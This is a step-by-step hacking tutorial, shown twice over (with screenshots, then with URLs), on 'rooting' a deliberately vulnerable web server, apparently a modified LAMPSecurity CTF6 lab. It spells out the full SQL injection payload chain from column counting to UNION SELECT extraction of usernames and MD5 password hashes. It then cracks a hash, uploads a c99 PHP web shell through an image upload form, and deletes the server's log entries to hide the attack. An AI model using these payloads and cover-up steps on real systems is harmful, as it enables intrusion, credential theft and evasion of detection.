Hi All,
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
![[Image: mantrahackbar1.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tpb8abBw_q4gcMw4jelGVZExV_5W3P6HWaBzrZP9bV6VkVfLvlZRgKEXmQIN_ohOBcdQL7EXMNiZbhAVX1wCk_ciTUgHrjQ7g3rU2yHlwm6yUXPfuzD3Uke11s9r542diRX6JHRQ8eWu-xdoYBNz-dv80Z8GsemnjP751xIl_nVNSW=s0-d)
Step 2:
I went through all the pages of web site and found a page with URL input
![[Image: mantrahackbar2.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vAFSxPznoNo4_qzzkGuu0cAOR2NvL_Fy42fz5PE5WeuM65q6Au59BtvO-c82pz7AN0kH_AAD9-p65VO0ITVsxtFwwkZwgcVCn9QqtO2paF_nS5LcPs9s_GyZy8E6Erfv-TZXJO-f1-nnfKo8LwNsAPXHEJt20oylAJT_ZJWeOIf2oc-Q=s0-d)
Step 3:
I launched Hackbar by pressing F9
![[Image: mantrahackbar3.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sDI4yWoTYvqjYhExSB2JyMXYtXFym5-uCty8xifQtUoyVSNVWHaY6GZ0TiTgwkLoklF8XRtSS4bPXvUgbn5JGN99CyO_FJMzMvTl7qi8wlqS1TBjp_0dL4xTxzFbLd_G9ZMgNz8_RoRHIyRulOIuWdY-II-ly3IN5IX2hdm7bu5SFkWg=s0-d)
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
![[Image: mantrahackbar4.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sHF4-JILLyllcV5Om0k_wWNBmo38IJtDtkfuIgSvdiZdyHQ6_veEIi0xe2TBZUwk6fODYBelQxcwz7UN_ZBhIaI5SsF7VOGusoZ3KIrmSq9am6JLHQLHo8ax58FJQ7oYHugtPwistLtly7zfGRRaVCAxs8XGb75A0n8hY3vt3c18yljg=s0-d)
Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
![[Image: mantrahackbar6.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uQ2mHZQ67yDAEhl9aAMy_obrkVHUmfTK3Le-uJy0sTeGVT8rvjzwnLZX3MFlrPV9I-xf-oReyditV5_Ug24qBJaUNIlRXAj-ZtS_bRgt3STXyvhE0CGRIee-JCS6br2b9mtjhOnBoprZmDq8GSEfyk1UNHtYQe-WRtbfn7qkmfToS3cg=s0-d)
Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
![[Image: mantrahackbar7.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s-ZHe3XmLfvxT8BAWJ9_dTVb6DyzLNqnOPvUdu8a70h8Wamjqbiz0aUhkrVllfy5aN_Eux3ASd-yMUxZuKvl48IpbLDf5f8jzm54TGYWjC3c40zPefxKkffJRDfQhqlu3y_zUfxBwadfzHlT4mYMpn_byMEFnOCqL5LvIiBDC6SoUK=s0-d)
Step 7:
I went up to 7 and no change till now
![[Image: mantrahackbar12.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tz_tBDTljh3Xo3XYPZ6WMMkNLmxwGROCZ9P_Wx4ovgMFeAqkztu12ogiQpmoJZHvRZLozDJocenAeT0WsccHkoOIwoUCcoqguWzSlDcW2Zq33Kfb8urF1pyr9DdSPfqAfPMZj8gOXGw5WpUDyGzfdsQZm171U-asMe9CXulCRDILwETyQ=s0-d)
Step 8:
I'm on 8 now and I can see the page changed
![[Image: mantrahackbar13.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vf48YcMgQ5VWqAayr4GuP_IYGZNDjb514d2kY6qaXSiR0vybKoP2dQfkzOKe4Y179Gm5YngIm4z2GA4DidCAwxHSCgARU6_v2kQr7xSX4I9P1xW2gn8-46Nk_cjNpff4MtStNa2Wm6ZEC4ZDciPS9GbBUNI9Qaa1V-3rdcAx0DpFxHDSw=s0-d)
Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
![[Image: mantrahackbar14.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ur1sZwO-xNZFV1NEPsAkb95CgBkmOPi7k8IZu5e9bmI3F_2VbzSpjB3uXGr5VTRNCzX0Bxrc3XvwvmFpRZ4MX0Whe1Dm6CrvXkvzuLXKauDKBFRwdiNLpiaoKRxDcAch-eHI2pyBdQKYQ4vVF1NHKrrZTJ9WcShqvCqvR-UGDZHAZwL4Q=s0-d)
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
![[Image: mantrahackbar16.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vZXYunDtEh9kRqiOx7qISGrIQ-sOwqmGhQstl1lx7jwXYpHYT-MWWEZIydceJxY3oBqSED5Loe6ppnUAQL6aBl5HvERPiNogdfjLr1ts4xELk_LTZ54kH_VjhSCDJQ_TIR6chV-aKD6TfM9XGabuhQNymHmyT9r9523WASDhZfYw9a9hA=s0-d)
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
![[Image: mantrahackbar19.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ue_ZYnZ-Pr7QHmO46auwH4O1kqUHw0glV4X6N0txac1rxkjQVYZV0Qik-VdE_aPPJ33VukyjtYLC_8gh3N68oeA9zbZKAsraJ-dQKONcqpidSnK3PVK3VED0Scv6OLbJHZS5zsOaBtwh4di8KfXNC1arAaEnbKMbrEZyw4DQg_wcPkcA=s0-d)
Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
![[Image: mantrahackbar21.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_taeuLZqRhppPjRPzROQ-eaTkuLORU-d8LAda8NR4Pd1x3JnbetSajEehUtBwR0i42omlO0Ra4LxSYNInnGpDMlDiPqsUsZlNtkAVWhXEh2P-qZ2QRlgxapaile-K0a-kMXEW4X6Zb4_qube1vdGRX6NkqxSRjfK8EmcltKmQ3TYOTAI7Y=s0-d)
The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
![[Image: mantrahackbar22.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t68NBTQ43Bz_2pbfn594tsYoOSO2m34SmaWdY_gWjoKjs5-ebSIYHdTk-2hJW6b9YNud3NqZDXTMf84xZ0YRXsVjUdQ6l0HuZRVnTMSg9GlOPnwXeX_e5i0iMW26Pdmdmnkf2hQa37HYik9cWa3itVsmMROKuC59d3cC50xNVu834mhqE=s0-d)
5.0.45 is the version
Step 14:
Let me list all the tables
![[Image: mantrahackbar23.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tx_U1MrTmxOtv-C94VrQzWns-ahNOo7xWmVjCQaTHYwcvhgjSguaInV237nu11pJvownMgL8dpg_JkxvCDb2OWKfx9N2AeQCw2TZKAC7icgaAUclg1fXP4g7ShqYGfNrcVO3_dw9XIXhRYGDzSiHFGH5iKGy4k9FXCT33N1yb9YEmOpQ=s0-d)
From this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
![[Image: mantrahackbar24.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tm-WAFWjn600Oz5sAQxOwFnaw7vTHkUoxdpCQChuL0XxHbXmWPmS09tzOICfnez5PVA8E0atWiZaxZmmY1eaadc4P2gVV-3njkXT-ud8azXMy1m-VOxdojf_pwYVhDWw4VZr4ruvxMO4KHXErO0QQBqTmDTZqzRwkfHV1dlcyEY_je6Q=s0-d)
Step 16:
I want columns from the table "user" and nothing else
![[Image: mantrahackbar25.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uyfu2k-Z98DnQn7yPjn_BWyDlUTRmRsOvsSVh2W5ah8S-XuFVBXNpxBae_jTOpbYbXjtUv_scdz3zzxE8g8lCwlubESL-IKb8r67qtuIcNpg8kV-Zh10GfsNhc6kVwJutzTDbTO9Mg0xKJTEm-yhQjfbdnnQmHfkU3khkFzXnGQxYMtLQ=s0-d)
Step 17:
Lets find the user name
![[Image: mantrahackbar27.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vekAnF35Wnsj8-gStnPQTPRuB9V80Cs1yDeiz2p7wUw8QAIgUWRIl88aXXDLmZlOkH3o2609OXoRmLIXxW1RpsIdqEsxH856HFJQdUZdbGis84iBvyJX_ngWosYSWNABu-WS-2wooWGndBtzq_Huil41rcMRohecSnxOXzx-a3sLwBHuU=s0-d)
Step 18:
Now, what about password
![[Image: mantrahackbar26.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ttTU28rQX1RCzkzPYaDoMfFF0gb0BZQZYBq43a7ZXCW-mnbnhqVzLRzrTaZNupOOLY9K5LHrZZb-6_vk7oW6S5EijAykYTrNj-B_ct9jHExP-vBHSbHzBHMowOGJcVEj4JpEnECvSjJUO-l9hTqCjRZyWrdVb2WQK6JAyVaUiSGdO2h2I=s0-d)
Its encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
![[Image: mantrahackbar30.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_szBbOL81VvdopffGreINpQSXUJNTI_O8i9M6Pa2qg6bduaqO2UFfS_QpLrpjD8qhTtH7wwOUkGritvFqi1PfNel983f1JRYImtZS9n8LSDLS54JOD5y9FxudXxxpqFetQ5Yk50SndcD48zbU92vEIgE7Yc2T3NSe89UQupYE9du0dYOaE=s0-d)
Step 20:
Voila.!!! I got the password
![[Image: mantrahackbar31.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ttr9O6XE4T8Zb_ncI809pcqh7gp09YyAOij8sCBHTQrw863NIOvJ5O5YjmlL-twzElHVHOLK3l78Z9qFVBk4VUUuaMfIoShoIh33QJfAxhwmJZyLXoJGV3SCYCBe5TV8R_WN_rhaQJgnhyaw37ClPZFQYMfHrsgNpMW-rNpVusDlCGJoc=s0-d)
Step 21:
Finding the log in page. Its was right in front of me
![[Image: mantrahackbar32.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vCzbXcQSkHdtR1rAcorCN0u-LZhR6cxpt2SgyBs8ab2UxaXe3DOQcDlNQI16PjF1oSK4zqi-uGAlENoHZ6Lp0NTV3HumpVU2RbSRnJYMulES9W6DUedgx4iRuYnCyU46et3I83xs246sPScwCHNNSQkddWZAfNBB9eVvlhEsARjvz0oMY=s0-d)
Step 22:
Logging in with the credentials I have
![[Image: mantrahackbar33.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sjRPm7IYhobsUEs0ZMLJDhBmnq4KIlOYZK6qi_tig83xoTcVk8GdbxpIu5ErRNX3Z5IXULabvGzUJ0ewAI0MjkDiPvPN4KAbMtm3zEWewHCCoeWRnEwc6xq0f7756zStiTucLyFpdmbnCohJOvms4PVoGP3aJrHYRXCL43hAezMyioRLE=s0-d)
Step 23:
Greetings.!!!
![[Image: mantrahackbar35.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tYmT_e-6P6DzChXy7GZ5xCT1jB-BKIIxzZa8tHvP5w2kh-slY4pKGZ3K8P0rQy90S5HkW4mMPKUykEU0BHscXjKbS0fAd0EQND65yyagSE-W5JH38oHIHaMDkpJOfdUcW8XBmSoVdxJknW73tvMNBTWIS3Smj6VdxZ8dy9ODwyApbolhU=s0-d)
Step 24:
I'm an admin now. Look at my powers.
![[Image: mantrahackbar36.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v2KZfrYt1VYqfXs1Ait2IFNpUvvYFsTvn4TUF2Q-lS2dePuwGC6vgYW9JMSLHTFnuGpUpq_UTqGOpAaFzmulmyooNPVUnGj2P5Bxn8aOqjH_UPNUA3dtCX1wlUiT9vKw7SAR1tunI8lNxKbF6joTKfxiTaclXFQMCITFtirzCV7uNx4nk=s0-d)
Step 25:
Let me add an event
![[Image: mantrahackbar37.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tVtI0iU9XluRKmyc9HBG7b-TMJhYLoy8a2fvs3Kplp2z9MOQXPlkvqY17i_10RgXKOk9zgqEAtZwVSVrrluvI-5HJj0K8S_gaSzrRRRBRNfYmIJ9GA2N8fv3yXwGM0COJEHCej3eMyelNQ_jO9XjlcgxqMwgeFiePaTQxRNBIaSSG15g=s0-d)
Step 26:
and of course I want to upload a picture
![[Image: mantrahackbar38.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tyLbR-1-tfm4YLR2PoUINVNcXWnJ_t5FBVE5iYIV5iEz1NsZ8FN5KDPIIeUqFnInor9GLgq2FVi7Q0QysKOZH9mpB_6KKUqlJHmg7tyrKKW6yIlsorThFdrU2OoCPNyEBO4Wig-egzZt80n8-tBaTZ9jdnXe5kdf525VivbBv9UVNbjg=s0-d)
Step 27:
Lets see it allows me to upload the shell or not
![[Image: mantrahackbar39.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s_tf9ztTgClMKIWyAecUCl4xmptClDoDricDBHKLXuZ2UCpiAeguE1SeMVqPdp2asgIlmMJ9XtcLBoK9z2zSldcV8jRVR17nW0rqZjxtiKbULFq6jl854GTsImPSnNYgz1yyeVDw3gCSaG6oXcsnsESur3KMMmO3r6b6-KMMF6BOoa3Pg=s0-d)
Step 28:
Now I'm pressing on "Add Event" button
![[Image: mantrahackbar40.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uRAKm6uZdeYFICrcl7BsvZNuWnrIGmsXVIyLjIWWxECLSaVCgGMPAyinPOSAnQyFClal2hjg6d1lrAsLnTQKpiNZQ2fk_F2Gq0w0W_e1cTk7ctO-An1OtHHOMFpQ_Yp2hsXSf3WpAc6dBC4vSjsYEh2L8Y9Bu2vVJZhYLjeaQBqBJLkdk=s0-d)
Step 29:
Nice. Looks like it's got uploaded
![[Image: mantrahackbar41.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_urwOzP_biZTrd2xy0xFzitJ7Hf5piLoA0z71mDVh-Wzi_xo71X0yp3JoC64ztlqT28WSs3w7pFJKfToVKy6JzqxB0Ahn-hDKhI4Ygs9oQgPOS8vGTMz8lSikPTXre4mAKuYIppHDTTAOQTyzMPZN-7T4meOzqqr93mOfkJwd_PNRQ--A=s0-d)
Step 30:
Let's see where the shell got uploaded to
![[Image: mantrahackbar42.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uqrkwryHTqqO58tFupPiQ0_YLMARw44HrOpfCglQFGzdE6qnrhQsXNEg7jtPBwb5hxPF2KUJkJ4FHBFkzZlgyMTKhGcMt6E1Fqr7Vz7dvx4uQWzrP36vyZL6dah8T7rvuTbzBLZqQd0PrHDxp5zEZFkUhBOwPm_vbW24s9E2ALnhaCxsE=s0-d)
Step 31:
I'm trying to get the default upload location
![[Image: mantrahackbar43.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tqrzzRnTMcKVlehrAM9DeQZSaWSai397zqgv0BNGy4tP1LoBuKabJkOKXlRC9gSBjp14yjJ5sCbU7RVdg96yq4j56XDmSRlOgj3kQKy7w9ezIBsuXWJMq_mIRErudeV32aqyIcC4OUNLXfJWFNHiz_cnnaNNaROGfIlE1LLZh6PKryzRo=s0-d)
![[Image: mantrahackbar44.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vUT3jTNPVzQ4e4GAYxCasoJN_98Ppv_4h_wSIph5D2xpQQeGgwWrWtFCwZPE32rO1zyEB5Hwyp3H2AUh1jv13T1zkzs-cQM5oNdfk7XCd6B1orWATRTIEaBdkeYU0PHpgQzljgtQrSUzysupv1uF0d_JQk6w3b_7h-37NEHHjxB3y4yww=s0-d)
Step 32:
Looks like I got it
![[Image: mantrahackbar45.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tTZIswnBY2Y0XVotIqH-w5Tj6QQRcpawbzyMQ4Cq4HB0bbbwocEwRpQhonT4CRLSdwiTIH4TuYXtaXLKD3QZSMqhY8E2Dp2AUHkbyyFVBidLE677AtJ0ylCW-RSrSAghGDCYohiopjeQPD33LQ5ob_p9oynIs3Af8_cIXKhwQ0cMwGTiA=s0-d)
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
![[Image: mantrahackbar46.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tmluiSkON4-QMQGweLdmc2oEbUsvZt6MPgo8k-34dPD9ot483LosaYXkTv1NagaUq_MF5s5uMErKFpovKzKV0OZjguHDjqoyiCk3YEvj6e9T1W20gLq0wKbVMa2h9jJj1vUdaTcfiREpwo4IPCZK7aXOYR4RkEaAzg8lZOvFg7-1-HCXc=s0-d)
Step 34:
I simply clicked on the up button to get the root folder
![[Image: mantrahackbar48.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_trR8y2v3Rrru18_5UPaAQrz8uhMg0_HRwYIlfjmWp_VzMsMnFbtDC7zg4kuu-Sg7veDY5Sij2e0ByPkpohcrW4nskOJGt12PpRUuvyCNxnKMBS-zUCBoxfWu718jVkqdeD3Rys4PiTXvO1aG3A58CRZPB2hxO9BB5VdoAtOh3vrbjTCFc=s0-d)
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
![[Image: mantrahackbar49.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s9d5hyNGwgPqywTwch8r_Cn1xz9jqIK3Og8Xpgh1tEJm-GIdkseUO5EUJexftbHeYUDQjQJ8DLntuvnXUH8Bmk44zMkI_T4WOTQMkC_ZgBiKtcvFA4Ia4Bjgf_WkWJU3aJy4nN_82Y9Bsmq-oLoIKq8HGIyz9SVRAGQFvCuBl-wuqy4MA=s0-d)
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
![[Image: mantrahackbar51.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v5HrSyA-17hnyy99qu1IuM4-dBv8M9faGZEKVoVHWeN8lxeVyn08uB38jZtxsEnfhBzO09Ki541MF515ic_mCiL6rwdZZnplVLjxClNjJ1TZHHLP4ZSjQKCu96HMYLk2HAsOKu08T0pDECSsIQAECDPljYY2jeguwxNIgN5Vcxd_5RYw=s0-d)
Step 37:
Let me go back and edit the log file
![[Image: mantrahackbar52.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sWXsx5DNTneDbxD4tNgZ8VLiPwk-qKQV0l6srcJZb2wHhDmnsuRseMkJp7cXiZEuZ2XivmqLNn8US96-zHyUgVh2sN8-BK9frFUc-7GPMP5y7uofxkqwlVqkWjDVgbMQdVzhGmcGylGLlc-sSX4-8SO1zVK0tmnzFMopvwjR1P0v3JM24=s0-d)
![[Image: mantrahackbar53.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uZ2GgwX0I71yYYFHWv81EJh2GMXgzLV1ejqwEIz-_VCWAlaQ04nELA99v1TjTIYkV4V2f4YWGIe6g199NdTUSKBRG2UzFJf9L1WZE4XdKiVPiuONfRPWBmzS1i7KQt7J2zAagig3JFucev22J5VNaxdLtbINsT9ffrHYTzeIw_dv0AFQ=s0-d)
Step 38:
I deleted complete log entries. Now saving it.
![[Image: mantrahackbar54.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u1X2Ratca3kw-5icw-R0XV0JKN4pQ9eMOT5ATynPKilgn6MaOeAclxN_2pLL6YtnyXG0qO8eJfMmPCvcrq7i8SUv4030axgYl4gMcnEIX8-tpH40KQgQRKl9Ojf-p8MXy7os0kFu_6PqPQ3nT95IBhwFFDIP5sCQSF2Olx1RDzWOGIbFw=s0-d)
Step 39:
Nice. Log file is empty now
![[Image: mantrahackbar56.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vb1_M9x-64WKZMQuKUo4f5JxPGExLsaK6v2oHFSjixXZl6OhKiBKqOPbDDA13JAT6KAh5jX2NMsRMdYZQjpNsFlSi8iBw4vECCcbMBkK7mvdJXOkLttCiEaaJKJiJgfk-XOJcUQje8vjbM_uC5JjMyHSUBP_TxS3Jr4Si9mGNdl6B9_o4=s0-d)
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
![[Image: mantrahackbar57.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sZqqW3dBd2hWCrphfsmNJDE1IUM3iZsFbAkgsGDCUi95Nc3MXJzFcsiJDZqNmeUTI9FQSRdZS8BFawBGWjQkG6a-S0EWKHVHADkeh_Hud8MfsFncIGC0ZTfW7E5B7LUs90x7o6XktR2sRxpTK5R0-INbHSbsNQhqRyqQcDyViTh6123Sc=s0-d)
Step 41:
Confirmed.!!!
![[Image: mantrahackbar58.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vWDGFdBaTURaJAkW1VaaR0-3NeIHFOhpAB_Suh0asBbViw2VAUY1RvSLBEwN4CZanr-1eZgD7OxGSenaAcAa1l0_Hf4nWoaTQ94lon9fR0CHRIrSUgAFNFIb8_axBBbfxg8299vzowBKiFrJBByfawbkFRSJAGG_GBDS-btyC-skv4W7E=s0-d)
Step 42:
OK. Good Bye C99
![[Image: mantrahackbar59.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uZ0Vyal22BLiS522Q3hahibMbjeNrm76W-CgIBrqlYNlrJkpUdr0oOyBIpT6vTzuvZmBdqP3Dk3V3N1XlW50nvKvnMz8oMuPxbQ8tUtUxHnZyK75fp3PzxThKG-GfctEK586XVSaHlwXLLs44EV3W6RVcXSaKCoFdjDfYYIOyp8VBqKA=s0-d)
Step 43:
Well. It got deleted itself
![[Image: mantrahackbar60.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_to_P8TR2gxdMepITjDJYNjtLrNEW2bhviO2tgOzpyxjTw0kgo9eqwnn12UFDJunt3PtnMIRl73XXPU4QaKU13PN6ZuIv_rFGg5epJoeO2wtHywqobDZyhwM6NOqrZRRo32JdxJSd_zQG182kj5dWQKwRBj5QluiWSz2OmLuhrfnfvXqsk=s0-d)
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
http://192.168.132.128/
Step 2:
I went through all the pages of web site and found a page with URL input
http://192.168.132.128/?id=13
Step 3:
I launched Hackbar by pressing F9
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
http://192.168.132.128/?id=13'Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
http://192.168.132.128/?id=13 order by 1Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
http://192.168.132.128/?id=13 order by 7Step 7:
I went up to 7 and no change till now
http://192.168.132.128/?id=13 order by 7Step 8:
I'm on 8 now and I can see the page changed
http://192.168.132.128/?id=13 order by 8Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
http://192.168.132.128/?id=13 UNION SELECT 1,2,3,4,5,6,7Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
http://192.168.132.128/?id=13 UNION SELECT 1,user(),3,4,5,6,7The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
http://192.168.132.128/?id=13 UNION SELECT 1,version(),3,4,5,6,75.0.45 is the version
Step 14:
Let me list all the tables
http://192.168.132.128/?id=13 UNION SELECT 1,table_name,3,4,5,6,7 from information_schema.tablesFrom this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columnsStep 16:
I want columns from the table "user" and nothing else
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='user'Step 17:
Lets find the user name
http://192.168.132.128/?id=13 UNION SELECT 1,user_username,3,4,5,6,7 from userStep 18:
Now, what about password
http://192.168.132.128/?id=13 UNION SELECT 1,user_password,3,4,5,6,7 from userIts encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
Step 20:
Voila.!!! I got the password
Step 21:
Finding the log in page. Its was right in front of me
Step 22:
Logging in with the credentials I have
Step 23:
Greetings.!!!
Step 24:
I'm an admin now. Look at my powers.
Step 25:
Let me add an event
Step 26:
and of course I want to upload a picture
Step 27:
Lets see it allows me to upload the shell or not
Step 28:
Now I'm pressing on "Add Event" button
Step 29:
Nice. Looks like it's got uploaded
Step 30:
Let's see where the shell got uploaded to
Step 31:
I'm trying to get the default upload location
Step 32:
Looks like I got it
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
Step 34:
I simply clicked on the up button to get the root folder
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
Step 37:
Let me go back and edit the log file
Step 38:
I deleted complete log entries. Now saving it.
Step 39:
Nice. Log file is empty now
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
Step 41:
Confirmed.!!!
Step 42:
OK. Good Bye C99
Step 43:
Well. It got deleted itself
H4qqy H4ck!ng
Tags
bypassing